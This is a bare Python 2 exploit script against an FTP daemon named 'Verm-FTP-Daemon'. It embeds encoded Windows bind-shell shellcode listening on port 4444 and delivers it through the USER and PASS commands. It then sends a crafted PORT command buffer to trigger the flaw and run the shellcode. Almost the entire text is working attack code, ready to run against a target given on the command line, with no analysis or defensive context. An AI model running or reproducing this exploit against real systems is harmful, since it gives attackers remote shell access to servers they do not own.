Verm-FTP-Daemon

import socket
import sys
import time


# win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
# windows/shell_bind_tcp - 696 bytes Encoder: x86/alpha_mixed 
# EXITFUNC=seh, LPORT=4444
shellcode = "\x89\xe1\xd9\xe1\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
shellcode += "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
shellcode += "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
shellcode += "\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b"
shellcode += "\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x46\x44\x46\x44\x4c\x4b"
shellcode += "\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a"
shellcode += "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31"
shellcode += "\x4a\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x46"
shellcode += "\x51\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43\x37"
shellcode += "\x49\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47"
shellcode += "\x4b\x50\x54\x46\x44\x51\x38\x43\x45\x4b\x55\x4c\x4b\x51\x4f"
shellcode += "\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c"
shellcode += "\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x43\x33\x46\x4c\x4c\x4b"
shellcode += "\x4c\x49\x42\x4c\x47\x54\x45\x4c\x43\x51\x48\x43\x46\x51\x49"
shellcode += "\x4b\x42\x44\x4c\x4b\x50\x43\x50\x30\x4c\x4b\x47\x30\x44\x4c"
shellcode += "\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x43\x38\x51"
shellcode += "\x4e\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f"
shellcode += "\x49\x46\x42\x46\x46\x33\x43\x56\x42\x48\x47\x43\x47\x42\x42"
shellcode += "\x48\x42\x57\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x4e\x30"
shellcode += "\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48"
shellcode += "\x56\x51\x4f\x4c\x49\x4b\x55\x42\x46\x4d\x51\x4a\x4d\x43\x38"
shellcode += "\x45\x52\x50\x55\x43\x5a\x43\x32\x4b\x4f\x48\x50\x43\x58\x48"
shellcode += "\x59\x44\x49\x4b\x45\x4e\x4d\x46\x37\x4b\x4f\x48\x56\x46\x33"
shellcode += "\x51\x43\x51\x43\x50\x53\x46\x33\x50\x43\x50\x53\x51\x53\x50"
shellcode += "\x53\x4b\x4f\x4e\x30\x45\x36\x42\x48\x42\x31\x51\x4c\x43\x56"
shellcode += "\x46\x33\x4b\x39\x4d\x31\x4a\x35\x45\x38\x4e\x44\x45\x4a\x42"
shellcode += "\x50\x49\x57\x51\x47\x4b\x4f\x49\x46\x43\x5a\x44\x50\x50\x51"
shellcode += "\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4e\x44\x4e\x4d\x46\x4e\x4d"
shellcode += "\x39\x46\x37\x4b\x4f\x49\x46\x50\x53\x51\x45\x4b\x4f\x4e\x30"
shellcode += "\x45\x38\x4a\x45\x51\x59\x4c\x46\x51\x59\x46\x37\x4b\x4f\x4e"
shellcode += "\x36\x50\x50\x50\x54\x46\x34\x46\x35\x4b\x4f\x48\x50\x4d\x43"
shellcode += "\x43\x58\x4a\x47\x42\x59\x48\x46\x44\x39\x50\x57\x4b\x4f\x4e"
shellcode += "\x36\x46\x35\x4b\x4f\x48\x50\x43\x56\x42\x4a\x43\x54\x45\x36"
shellcode += "\x43\x58\x45\x33\x42\x4d\x4c\x49\x4a\x45\x42\x4a\x46\x30\x50"
shellcode += "\x59\x47\x59\x48\x4c\x4c\x49\x4a\x47\x42\x4a\x50\x44\x4c\x49"
shellcode += "\x4a\x42\x46\x51\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46"
shellcode += "\x4d\x4b\x4e\x51\x52\x46\x4c\x4c\x53\x4c\x4d\x42\x5a\x46\x58"
shellcode += "\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x44"
shellcode += "\x56\x4b\x4f\x43\x45\x50\x44\x4b\x4f\x4e\x36\x51\x4b\x50\x57"
shellcode += "\x50\x52\x50\x51\x46\x31\x50\x51\x42\x4a\x45\x51\x46\x31\x50"
shellcode += "\x51\x46\x35\x46\x31\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x4e\x39"
shellcode += "\x43\x35\x48\x4e\x50\x53\x4b\x4f\x48\x56\x43\x5a\x4b\x4f\x4b"
shellcode += "\x4f\x50\x37\x4b\x4f\x4e\x30\x4c\x4b\x50\x57\x4b\x4c\x4d\x53"
shellcode += "\x49\x54\x42\x44\x4b\x4f\x4e\x36\x46\x32\x4b\x4f\x4e\x30\x43"
shellcode += "\x58\x4a\x50\x4c\x4a\x45\x54\x51\x4f\x46\x33\x4b\x4f\x48\x56"
shellcode += "\x4b\x4f\x4e\x30\x41\x41"

stage = "92060006,92080001,92120010,92150015,92000015,92040002,"
stage += "92050002,92060010,92000002,92050008,92120013,92020014,"
stage += "92030012,92000005,92050010,92070004,92140015,92110008,"
stage += "92040004,92050010,92030002,92030007,92080011,92150010,"
stage += "92100015,92070005,92140010,92100015,92070005,92140007,"
stage += "92150015,92140007,"

payload = shellcode + "\x44"*(500-len(shellcode))

buffer = "92040001,"*11
buffer += stage
buffer += "92020004,"
buffer += "92150011,"
buffer += "92010002,"
buffer += "92000000,"
buffer += "92020013,"
buffer += "92070000,"
buffer += "92040002,"
buffer += "92000000,"
buffer += "2"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((sys.argv[1],21))
print "[x] Sending Shellcode..."
s.recv(1024)
s.send('USER '+payload+'\r\n')
s.recv(1024)
s.send('PASS '+payload+'\r\n')
s.recv(1024)
s.send('SYST\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.recv(1024)
s.close()

time.sleep(2)

s2=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],21))
print "[x] Sending Exploit..."
s2.send('PORT '+buffer+'\r\n')
s2.close()
time.sleep(2)
print "[x] Hunting the shellcode..."
time.sleep(3)
print "[x] Done."
#raw_input("[x] Done, press enter to quit")